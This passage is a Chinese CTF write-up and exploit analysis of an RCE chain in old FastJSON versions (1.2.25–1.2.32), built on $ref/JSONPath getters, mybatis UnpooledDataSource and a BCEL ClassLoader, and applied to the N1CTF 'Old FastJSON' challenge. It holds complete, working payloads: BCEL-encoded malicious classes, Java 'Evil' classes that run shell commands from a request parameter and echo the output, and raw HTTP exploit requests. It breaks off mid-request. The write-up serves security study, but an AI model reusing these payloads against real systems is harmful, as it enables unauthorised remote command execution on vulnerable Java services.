9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public void handleResovleTask(Object value) {
if (this.resolveTaskList != null) {
int i = 0;

for(int size = this.resolveTaskList.size(); i < size; ++i) {
ResolveTask task = (ResolveTask)this.resolveTaskList.get(i);
String ref = task.referenceValue;
Object object = null;
if (task.ownerContext != null) {
object = task.ownerContext.object;
}

Object refValue = ref.startsWith("$") ? this.getObject(ref) : task.context.object;
FieldDeserializer fieldDeser = task.fieldDeserializer;
if (fieldDeser != null) {
if (refValue != null && refValue.getClass() == JSONObject.class && fieldDeser.fieldInfo != null && !Map.class.isAssignableFrom(fieldDeser.fieldInfo.fieldClass)) {
Object root = this.contextArray[0].object;
refValue = JSONPath.eval(root, ref);
}

fieldDeser.setValue(object, refValue);
}
}

在>=1.2.36时,除了原有的JSONPath查询逻辑还新增了一个如果refValue为null也会调用到JSONPath.eval的逻辑,调用到JSONPath.eval基本不存在限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public void handleResovleTask(Object value) {
if (this.resolveTaskList != null) {
int i = 0;

for(int size = this.resolveTaskList.size(); i < size; ++i) {
ResolveTask task = (ResolveTask)this.resolveTaskList.get(i);
String ref = task.referenceValue;
Object object = null;
if (task.ownerContext != null) {
object = task.ownerContext.object;
}

Object refValue;
if (ref.startsWith("$")) {
refValue = this.getObject(ref);
if (refValue == null) {
try {
refValue = JSONPath.eval(value, ref);
} catch (JSONPathException var10) {
}
}
} else {
refValue = task.context.object;
}

FieldDeserializer fieldDeser = task.fieldDeserializer;
if (fieldDeser != null) {
if (refValue != null && refValue.getClass() == JSONObject.class && fieldDeser.fieldInfo != null && !Map.class.isAssignableFrom(fieldDeser.fieldInfo.fieldClass)) {
Object root = this.contextArray[0].object;
refValue = JSONPath.eval(root, ref);
}

了解清楚<1.2.36版本$ref getter的限制之后,尝试绕过

1
2
3
4
if (refValue != null && refValue.getClass() == JSONObject.class && fieldDeser.fieldInfo != null && !Map.class.isAssignableFrom(fieldDeser.fieldInfo.fieldClass)) {
Object root = this.contextArray[0].object;
refValue = JSONPath.eval(root, ref);
}

因为RCE需要触发的是getConnection方法,所以大概率需要$.connection来触发,为了满足refValue不为null,需要在JSON里加一个connection的key,同时限制了refValue的类型为JSONObject,

1
2
3
4
5
6
7
8
9
10
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
if (type == JSONObject.class && parser.getFieldTypeResolver() == null) {
return parser.parseObject();
}
boolean parentIsArray = fieldName != null && fieldName.getClass() == Integer.class;
JSONObject input = new JSONObject(lexer.isEnabled(Feature.OrderedField));
ParseContext ctxLocal = null;
if (!parentIsArray) {
ctxLocal = this.setContext(context, input, key);
}

FastJSON在反序列JSONObject时,设置的context是ROOT,而且JSONObject设置context时对fieldName无任何限制。如果是反序列其他的类,fieldName必须是存在的属性。
那么就可以通过JSONObject对ROOT context设置一个connection属性,同时类型为JSONObject
{“@type”:”com.alibaba.fastjson.JSONObject”,”connection”:{}}

在对root context设置了connection后,再通过$ref获取root的connection,因为还限制了fieldInfo不能为null,所以需要在一个存在的field里面调用$ref。

不过能够获取root context的connection了暂时也没用,因为root context不会是UnpooledDataSource对象,无法直接调用到getConnection方法。

1
{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driver":{"$ref":"$.connection"}

在完成这一系列对应的构造后,调用到JSONPath.eval然后调用到getPropertyValue后,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
protected Object getPropertyValue(Object currentObject, String propertyName, boolean strictMode) {
if (currentObject == null) {
return null;
} else if (currentObject instanceof Map) {
Map map = (Map)currentObject;
Object val = map.get(propertyName);
if (val == null && "size".equals(propertyName)) {
val = map.size();
}

return val;
} else {
Class<?> currentClass = currentObject.getClass();
JavaBeanSerializer beanSerializer = this.getJavaBeanSerializer(currentClass);
if (beanSerializer != null) {
try {
return beanSerializer.getFieldValue(currentObject, propertyName);
} catch (Exception var12) {
throw new JSONPathException("jsonpath error, path " + this.path + ", segement " + propertyName, var12);
}
} else if (currentObject instanceof List) {
List list = (List)currentObject;
if ("size".equals(propertyName)) {
return list.size();
} else {
List<Object> fieldValues = new JSONArray(list.size());

for(int i = 0; i < list.size(); ++i) {
Object obj = list.get(i);
Object itemValue = this.getPropertyValue(obj, propertyName, strictMode);
if (itemValue instanceof Collection) {
Collection collection = (Collection)itemValue;
fieldValues.addAll(collection);
} else {
fieldValues.add(itemValue);
}
}

return fieldValues;
}
} else {
if (currentObject instanceof Enum) {
Enum e = (Enum)currentObject;
if ("name".equals(propertyName)) {
return e.name();
}

if ("ordinal".equals(propertyName)) {
return e.ordinal();
}
}

if (currentObject instanceof Calendar) {
Calendar e = (Calendar)currentObject;
if ("year".equals(propertyName)) {
return e.get(1);
}

if ("month".equals(propertyName)) {
return e.get(2);
}

if ("day".equals(propertyName)) {
return e.get(5);
}

if ("hour".equals(propertyName)) {
return e.get(11);
}

if ("minute".equals(propertyName)) {
return e.get(12);
}

if ("second".equals(propertyName)) {
return e.get(13);
}
}

throw new JSONPathException("jsonpath error, path " + this.path + ", segement " + propertyName);
}
}
}

如果获取不到currentObject的序列化器,且currentObject是List,那么会遍历List中的对象再递归调用getPropertyValue,在遍历递归过程中如果一旦获取不到对应的属性就会抛出异常结束流程。
因为list类型会遍历,那么我们利用JSONArray,也就是[{},{}]即可实现遍历。
为了解决获取不到属性就抛出异常的问题,需要将org.apache.ibatis.datasource.unpooled.UnpooledDataSource提到List的第一个。
不过低版本的利用,需要先将恶意类加入到Mapping中,按理第一个对象会是java.lang.Class而不能是UnpooledDataSource,又为了解决这个问题,只能将利用分段。
首先第一次请求使用java.lang.Class将所有利用类加入到mapping中,第二次请求将UnpooledDataSource放到list的第一位,再调用getter实现RCE,最终的利用代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
js =    "[{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}," +
"{\"@type\":\"java.lang.Class\",\"val\":\"org.apache.ibatis.datasource.unpooled.UnpooledDataSource\"}," +
"]";

System.out.println(js);
JSON.parse(js);

js = "[" +
"{\"@type\":\"org.apache.ibatis.datasource.unpooled.UnpooledDataSource\", \"driverClassLoader\":{\"$ref\":\"$[1]\"}, \"driver\":\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQMO$h1$Q$7dN$96$ec$H$h$C$a1$J$94$C$N$a5$zI$r$c8$81cP$_$V$95$aan$L$o$u$a8G$c75$c1tY$af6$O$f0$8f8s$a1$V$95$da$7b$7f$Ub$bcEi$q$ea$83g$e6$bd7$cfc$fb$cf$dd$ed$_$A$dbh$G$f0$b1$Y$e0$v$96$3c$3c$b3q$d9$c5$8a$8b$d5$A$r$3cw$d1p$b1$c6P$daQ$892o$Z$8a$cdV$8f$c1y$a7$bfJ$86J$a4$S$f9yt$d6$97$d9$n$ef$c7$84T$p$zx$dc$e3$99$b2$f5$D$e8$98$T5$q$8fh$f7$5c$c5$j$GoG$c4$Pv$8c$e8Zt$ca$cfy$5b$e9$f6$87$bd$ddK$nS$a3tB$b2r$d7p$f1$ed$TOs$h$g$8a$n$e8$eaQ$s$e4$7bem$7dk$b7e$7bC$E$98v$f1$o$c4$3a$5e2$d4u$w$93$c6$so$d0$ub$Us$a3$b3$z$9e$a6$n$5e$e15$c3$fc$7fNcX$ca$d1$98$t$83$f6$c1$u1$eaL$8eI$eb$beA$b7$b0$c71$cc$fe$T$ee$f5O$a50$Ms$8fzi$d2$814$e3$a2$d6lE$8f4tCG$5eJ$c1$b0$d1$9c$60$bb$sS$c9$a03$d9$b0$9fi$n$87CjX$9cT$k$9ed$fa$c2$3eM$a7$d5$c3$g$3c$faG$bb$K$60$f69h$P$f3$P$a6G$a68$f5$e6$3b$d8uN$97i$P$u$822$H$V$ccP$W$fe$VQ5K$d1$c3$dc$d8$e0$Y$c5$9c$5b$f8$81B$b5x$D$e7$e8$K$e5$8f$3fQ$faB$8e$ee$ef$eb$9c$f4I$3aEBk$5d$a7$Mp$J$L$I$f5$I$f3$J$9b$k$lc$eb$w$e6$a9z$92$eb$K$91$8b$9aOD$3d$9fn$e1$k$acK$b2$e2$9a$C$A$A\"}," +
"{\"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\",\"\":\"\"}," +
"{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"connection\":{}}," +
"{\"@type\":\"org.apache.ibatis.datasource.unpooled.UnpooledDataSource\",\"driver\":{\"$ref\":\"$.connection\"}}" +
"]";

System.out.println(js);
JSON.parse(js);

Web中利用,1、恶意类加入mapping

2、调用getter RCE

1.1 N1CTF Old FastJSON

在这次的n1ctf中,我将这个利用改了改出成了一道题。稍微有一点不同的在于,之前实战遇到的目标是黑盒测试普通Tomcat项目的JSON.parse,题目改成了SpringBoot fastJsonHttpMessageConverters。

题目叫做Old FastJSON,题目描述为Rce and get flag,最终一支队伍解出,第一天给出了User.java的代码,本来准备是第二天白天给出完整代码,不过有队伍在第二天凌晨已经解出来了,就没有再放完整代码了。
根据题目很容易了解到是要针对老版本FastJSON实现RCE,登录后抓包

1
2
3
4
5
6
7
POST /api/login HTTP/1.1
Host: local:8080
Content-Length: 35
Content-Type: application/json
Connection: close

{"username":"asd","password":"asd"}

根据404页面能够知道后端框架为SpringBoot

1
2
3
4
5
{
"@type":"java.net.Inet6Address",
"val":"127.0.0.1",
"username":"asd","password":"asd"
}

1
2
3
4
5
{
"a":{"@type":"java.net.Inet6Address",
"val":"127.0.0.1"},
"username":"asd","password":"asd"
}

@type提交后发现后端产生了异常,而将@type放到value时不会产生异常,能够知道是因为设置了期望类导致type not match的原因,能够想到是SpringBoot常用FastJSON HttpMessageConverters方式

1
2
3
@ResponseBody
@PostMapping(value = {"/api/login"}, produces="application/json;charset=UTF-8")
public Object doLogin(@RequestBody User user, HttpServletRequest request){
1
2
3
4
5
{
"a":{"@type":"java.net.InetAddress",
"val":"127.0.0.1"
},
"username":"asd","password":"asd"}

返回正常,证明FastJSON < 1.2.48版本。

1
2
3
{"username":"admin","password":"123456",
"a":{"@type":"bbb"}
}

返回异常,证明版本>1.2.24

1
2
3
4
5
{
"a":{"@type":"java.net.InetAddress",
"val":"www.baidu.com"
},
"username":"asd","password":"asd"}

127.0.0.1返回正常,www.baidu.com返回异常,说明目标机器不存在DNS配置或者不出网。

1
{"c":{"@type":"java.lang.Class","val":"javax.swing.JEditorPane"},"d":{"@type":"javax.swing.JEditorPane","page":"http://host/a"}}

提交返回异常,且无请求产生,也就说明了目标机器无DNS且无法出网,也就是说需要在不出网的场景下实现RCE。

然后探测目标classpath下是否存在公开的FastJSON不出网RCE的利用链,

1
2
3
4
5
6
7
{"a":{"@type":"java.lang.Class",
"val":"org.apache.tomcat.dbcp.dbcp.BasicDataSource"
},"b":{
"@type":"org.apache.tomcat.dbcp.dbcp.BasicDataSource"},
"username":"a",
"password":"b"
}

返回异常,证明classpath下不存在dbcp利用链

1
2
3
4
5
6
7
{"a":{"@type":"java.lang.Class",
"val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"
},"b":{
"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},
"username":"a",
"password":"b"
}

返回正常,证明classpath下存在mybatis,进而使用mybatis实现不出网RCE。

1
{"x":{"xxx":{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"www":{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},{"@type":"com.alibaba.fastjson.JSONObject","c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driver":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$hA$Q$ac$b1$8d$f7$c1$9a$87$c1$e6$91$84$98$b7$8d$E$3e$e4h$94K$ER$94M$88bd$94$e3x$Y$cc$c0$b2$b3Z$8f$81$3f$e2$cc$85D$89$94$dc$f3Q$88$9e$F$ZKd$P$dd$d3U$d5$d5$3d$b3$ff$ee$7f$fd$B$f0$Ou$l$k$e6$7d$y$60$d1$c5$x$9b_$3bx$e3$60$c9G$Ro$j$d4$i$y3$UwU$ac$cc$7b$86$7c$bd$d1a$u$7c$d0$c7$92a2T$b1$fc2$b8$e8$ca$f4$90w$pB$ca$a1$W$3c$ea$f0T$d9$fa$J$y$98S$d5$t$8fp$efRE$z$GwWDOv$8c$e8Jx$c6$_yS$e9$e6$c7$83$bdk$n$T$a3tL$b2R$dbpq$fe$99$t$99$N$z$c5$e0$b7$f5$m$Vr_Y$5b$cf$da$ed$d8$de$A$3e$c6$j$ac$EX$c5$gCU$t2$aem$f3$g$ad$o$G$R7$3a$dd$e1I$S$60$j$h$M3$ff$99$c6$b0$98$a1$R$8f$7b$cdo$83$d8$a8$L9$q$ad$fb$s$dd$c2$8ec$98z$W$kt$cf$a40$M$d3$_zi$d3$9e4$c3$a2Ro$84$_4t$c3$82$bc$96$82a$b3$3e$c2$b6M$aa$e2$5ek$b4$e1k$aa$85$ec$f7$a9a$7eTyx$9a$ea$x$fb4$adF$H$cbp$e9$3f$da$_$Hf$9f$83b$40U$932$a3$3c$b6$f5$D$ec6$a3K$U$8b$Z$98$c7$E$c5$e0Q$80ILQv1$3dl$3e$n$85$e5$e6$7e$oW$ce$df$a1pt$83$d2$a7$df$u$7e$t7$e7$efmFz$q$j$p$a1$b5$ad$d2$Jp$I$f3$Ju$J$f3$I$h$l$8e$b1u$Z3T$cdf$ba$5c$e8$a0$e2$RQ$cd6$9b$7b$A$7f$Q$bb$L$96$C$A$A"}}:{}}}

使用1.2.47的利用,没能成功实现RCE,能够猜到版本为1.2.25 - 1.2.32 之间的版本。接下来就是上面写的分析这些版本里如何实现RCE内容了,这也是我自己当初在黑盒测目标时的整个分析历程。

1
2
3
@ResponseBody
@PostMapping(value = {"/api/login"}, produces="application/json;charset=UTF-8")
public Object doLogin(@RequestBody User user, HttpServletRequest request){

SpringBoot的fastJsonHttpMessageConverters与普通的JSON.parse也存在一定的不同。

1
[{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource", "driverClassLoader":{"$ref":"$[1]"}, "driver":"$$BCEL$$"},{"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader","":""},{"@type":"com.alibaba.fastjson.JSONObject","connection":{}},{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driver":{"$ref":"$.connection"}}]

首先是因为接口定义的类并不是一个数组,而之前构造的利用是数组形式的,并不支持这种形式,需要换回{}

1
2
3
4
{"x":[{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource", "driverClassLoader":{"$ref":"$[1]"}, "driver":"$$BCEL$$"},{"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader","":""},{"@type":"com.alibaba.fastjson.JSONObject","connection":{}},{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driver":{"$ref":"$.connection"}}],
"username":"a",
"password":"b"
}

提交后发现依然失败。

调试发现是因为SpringBoot fastJsonHttpMessageConverters进行JSON.parse的时候会默认设置期望类为路由参数里对应的类,也就是期望类为com.n1ctf.oldfastjson.User,而普通的JSON.parse是不存在这个问题的。
这也就导致了Root context变为了com.n1ctf.oldfastjson.User对象,因为x并不是User的Field,会被设置为null,导致了之前构造payload里面的各种引用都需要更改。
但是直接将引用修改为$.null[1]也无法利用,因为这时候的RootContext变为了User。
com.alibaba.fastjson.JSONPath#getPropertyValue 中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
protected Object getPropertyValue(Object currentObject, String propertyName, boolean strictMode) {
if (currentObject == null) {
return null;
} else if (currentObject instanceof Map) {
Map map = (Map)currentObject;
Object val = map.get(propertyName);
if (val == null && "size".equals(propertyName)) {
val = map.size();
}

return val;
} else {
Class<?> currentClass = currentObject.getClass();
JavaBeanSerializer beanSerializer = this.getJavaBeanSerializer(currentClass);
if (beanSerializer != null) {
try {
return beanSerializer.getFieldValue(currentObject, propertyName);
} catch (Exception var12) {
throw new JSONPathException("jsonpath error, path " + this.path + ", segement " + propertyName, var12);
}
} else if (currentObject instanceof List) {
List list = (List)currentObject;
if ("size".equals(propertyName)) {
return list.size();
} else {
List<Object> fieldValues = new JSONArray(list.size());

for(int i = 0; i < list.size(); ++i) {
Object obj = list.get(i);
Object itemValue = this.getPropertyValue(obj, propertyName, strictMode);
if (itemValue instanceof Collection) {
Collection collection = (Collection)itemValue;
fieldValues.addAll(collection);
} else {
fieldValues.add(itemValue);
}
}

return fieldValues;
}

首先会对rootContext对象进行一次getFieldValue操作,如果不存在对应Field则会直接抛出异常结束流程。
package com.n1ctf.oldfastjson;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class User {

private String username;
private String password;
private Object friend;

public String getUsername() {
return username;
}

public void setUsername(String username) {
this.username = username;
}

public String getPassword() {
return password;
}

public void setPassword(String password) {
this.password = password;
}

public Object getFriend() {
return friend;
}

public void setFriend(Object friend) {
this.friend = friend;
}

}

根据题目中给出了User类中,可以发现存在username、password、friend属性。
这里需要使用friend属性来进行反序列化,因为friend属性的类型为Object,而username和password都为String,FastJSON在反序列化Field的时候会根据类型选择反序列化器,String类型就会为StringCodec反序列化器没法反序列化出list。
选择friend属性反序列化出list后,又会递归getPropertyValue,然后又跟前面的流程一样了,遍历List中的对象再递归调用getPropertyValue,触发getter方法实现RCE。
实现代码执行后,SpringBoot就可以轻松实现命令执行回显了,因为BCEL ClassLoader的原因无法直接获取到webapp下的类。先通过Thread.currentThread().getContextClassLoader() 获取当前线程的classloader,进而获取到webapp下的类,实现命令执行回显,代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Scanner;

public class Evil {

public Evil() throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {

Class requestContextHolder = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");

Method m = requestContextHolder.getDeclaredMethod("getRequestAttributes");
Object obj = m.invoke(null);

m = obj.getClass().getMethod("getRequest");
Object request = m.invoke(obj);

m = obj.getClass().getMethod("getResponse");
Object response = m.invoke(obj);

m = request.getClass().getMethod("getParameter", String.class);

String cmd = (String) m.invoke(request, "cmd");
if(cmd == null){
cmd = "id";
}
String[] cmds = {"sh", "-c", cmd};
String output = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();

m = response.getClass().getMethod("getWriter");
PrintWriter printWriter = (PrintWriter) m.invoke(response);
printWriter.println(output);
printWriter.flush();
printWriter.close();

}

}
1
2
3
{
"a":[{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},]
,"username":"asd","password":"asd"}

先将利用类加入到mapping中,再命令执行利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /api/login HTTP/1.1
Host: 43.154.17.227
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: JSESSIONID=B7EC019358A6720F1657D9F05520D5DA
Connection: close
Content-Type: application/json
Content-Length: 3290

{
"friend":[{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource", "driverClassLoader":{"$ref":"$.friend[1]"}, "driver":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$7dV$5bW$hU$U$fe$86$5c$ce0$9d$96$Q$a0eZ$LE$a9$N$F$82$d6kC$c5$om$z$g$$$S$E$91z$99L$O$c9$c0d$86$ce$85$e2$b5$5e$ea$fd$5e$9f$fd$F$3e$f9$92$b6$ba$ea$ea$83k$e9$f2$c1W$97$P$fa$e2$8b$fe$Ju$9f$5c$m$90$d4$5cN$ce$f9$f6$3e$7b$ef$f3$ed$7dv$e6$e7$7f$be$fd$k$c0$fd$f8RA$x$kWp$k$93bxB$c6$93$K$d2$98$921$cd0$a3$80a$96$e1$v$Fs$c8$I$cdy$ZO$LpA$c6$a2$8cg$Y$96d$9c$90$f1$ac$8ce$Z$X$Y$9eS$f0$3c$5e$Q$c3$8b$Ktd$Vt$c1$90$91$T$bf$5c$M$x2$f2$M$F$F$3d0$c5$b0$w$865$GKB$f4$94i$9b$fe$98$84Pb$60ABx$c2$c9q$Jmi$d3$e6$d3A1$cb$ddy$3dk$R$SO$3b$86n$z$e8$ae$v$d6U0$ec$XL$8fl$a4$cfn$98$d6$a8$84N$97_$M$b8$e7O8$b6$cf7$fd$f3$8e$95$e3$ae$84$f6$f4$aa$be$a1$8fX$ba$9d$l$99$b0t$cf$pU$a9$u$e1$60$j$ee$f2$V$8b$h$fe$c8$U$f7$LN$8e$UBNvU$b8$ddV$99$c9$ae$92$G$89X$d5$8d$E$d9$e5$de$bac$7b$UK$c8$u$e6v$eag$7c$d7$b4$f3$a4$l$s$R$85$d9$b1$dcL$Yu$C$7f$3d$m$5b$7b$d6$J$f1$X$5d$d3$X1wUtMgdv$h$s$f5$bd$Z_7$d6$a6$f4$f52$FD$n$r$8c$a1H$e9$a2$b4HP$cen$g$7c$dd7$v$s$G$9b$c1aXg$b8$c8$40$s$95$8c$T$b8$G$3fg$K$eaZ$FeI$e1C$c5$5d$e8g$f0T$f8$ITl$e0$92$84S$8e$9bOz$o$a0$fc$8a$ab$X$f9$r$c7$5dK$5e$e2$d9$a4Qa6Ye$m9$d7$84p$86M$V$_$e1e$caG$9e$fbU$8dq$9f$O$9c$N$7cND$b4$edJ$87$8aW$f0$aa$84$d8n$aa$e9$5c$w$5e$c3$eb$w$$$e3$N$8a$7f$db$9a$8a7$c5$8e$3de$a4$96$B$95V$b3$ba$I$b7$cc$60l7$d9$SZLJQ$8bW$a0a$d8$a0$ba$uk$E$bei$8dd$M$dd$b6E$e8o$a9x$hWT$bc$83w$Z$deS$f1$3e$3e$Q$E$7dH$5b$$$8c$ab$f8$I$l$ab$f8$E$9f$S$81$e4$ad$96$ac$8e$s$b9R$f1$Z$3eW$f1$F$faU$5cE$3fU$81$60$5cB$f7$edj$ae$ce$cc$e4$ccV$g$r$i$d9$c5$d6$b4$e3$9fs$C$3bW$a7$d2$bb$ad2$edd$C$a3P$b1X$a71$d8$e8u$d2$de$a0$x$r$c4$f3$baK$87i$eer$d2$b2x$5e$b7$c6$N$83$7b$5e$9dJ$j$bb$f3$F$97$eb$U$fe$5e$pp$5dn$fb$b5ugb$m$bd$5b$8b$w$b8$8b$7cU$eb$a5$7c$9e$b4$a3$97o$a9$b6C$bdN$q$f64$VP$S$y$9a$94$R$JG$T$8d$d7$ab$c1$o$d9j$t$ffg$b8a$e9$$$cf$d5$98$3f$ddd$efr$c3$de$81$ff$eb$XQ$93$f8$5c$a32$3c$99h$ec$Z$cb$8d$d0$40$b3$ce$o$Ln$w$c7$e9h$a4c$b4Ru$b5$a0$db$b7$c5s$81$ed$9bE$5e$bd$p$b5E$d7$O$TUX$f4$p$be$c9$a9$fc$T$89$s$N$a9$7e$c7$ac$eb$88$ac$8f$eepU$F$r$ec$pW$936$b5$$$da$c9uj$a7$Hj$eeD$Fo$Lh$7bw$a2$a9$404$7c5$f0$f8$Zn$99$c5$caM$3av$fb$q$d6$dfSq$I$9b$Khw$91muUVn$a6$96$zHhb$91$iGV$ac$40t$82$88a9$kG$l$ee$a4$7f$3a$f1$a2$ff$G$d1$R$d1$82$a3$b4$f8$jQ$u$84$fe$7d$fc$g$a4$ebh$v$n$U$P$97$QI$P$c6$a3$a1$9b$60$r$c8SC$S$cdZKP$a6$87K$d8$TW$x$f8$de$a9$a1$e1$w$9e$K$97$F$fb$g$F$R$z$y$qma$92$y$85$e2$b1LY$ac$85i$ddJ$ebvZ$x$b7$QKE$b5$e8$8f$60$f1x$w$g$bd$89$YI$3a2K$e1xgf$v$a2E3$v$f6$j$ba$96$aec$bfF$d6$P$94$d0$7d$NZ$fc$60$J$87J$b8$p$rk$R$e1$e1$f0$96o$zRu$7e$L$3d$a9V$adU$93K$e8$d5$I8$o$86$beo$e8$b0$n$dcM$e3$i$3ai$dc$870b$f4$8e$e3$Q$3a$88$92$$$dc$87$fd$YC7$3d0hX$qt$N$87$a9A$f7$e0$Kz$a9$5d$f6$e1$x$a2$f2$G$R$f8$Ti$ffJ$96$fe$c01$fc$89$E$fe$c2q$9a$B$x$VB$J$Z$a0$df$Y$7e$p$7c$90H$3f$84_0$84$e12$f1$3f$m$89$R$8ac$M_$e3$k$9a$85$c9$d3U$dcK$b3$I$f9Z$c5$J$8a$oJ$9e$d2$f44$f3$A$3d$9a$dc$m$ad$H$J$93$c9c$i$P$e1aJ$e6I$b2$de$D$e9_$K$8a1$a4$YF$ZN1$3cR$fb$8c$91$fcQ$fa$aad$f34$c6$f1$Y$sp$86$e28KX$L$ce$fd$H$b6$d8$a1$99$$$J$A$A"},{"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader","":""},{"@type":"com.alibaba.fastjson.JSONObject","connection":{}},{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driver":{"$ref":"$.friend.connection"}}],"username":"asd","password":"asd"}

成功实现命令执行,通过命令执行没有直接发现flag地址。

通过jar命令查看fatjar可以发现flag在里面

如果成功登录系统,也会提示flag在fatjar里(写文章的时候才发现打错了字母 -。-)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Scanner;

public class Evil {

public Evil() throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {

Class requestContextHolder = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");

Method m = requestContextHolder.getDeclaredMethod("getRequestAttributes");
Object obj = m.invoke(null);

m = obj.getClass().getMethod("getRequest");
Object request = m.invoke(obj);

m = obj.getClass().getMethod("getResponse");
Object response = m.invoke(obj);

m = request.getClass().getMethod("getParameter", String.class);

String cmd = (String) m.invoke(request, "cmd");
if(cmd == null){
cmd = "id";
}
String[] cmds = {"sh", "-c", cmd};
String output = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();

InputStream inputStream = Thread.currentThread().getContextClassLoader().getResourceAsStream("f111111ag.txt");;
output = new Scanner(inputStream).useDelimiter("\\A").next();

m = response.getClass().getMethod("getWriter");
PrintWriter printWriter = (PrintWriter) m.invoke(response);
printWriter.println(output);
printWriter.flush();
printWriter.close();

}

}

直接读取flag文件并回显即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /api/login HTTP/1.1
Host: 43.154.17.227
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: JSESSIONID=B7EC019358A6720F1657D9F05520D5DA
Connection: close
Content-Type: application/json
Content-Length: 3485

{
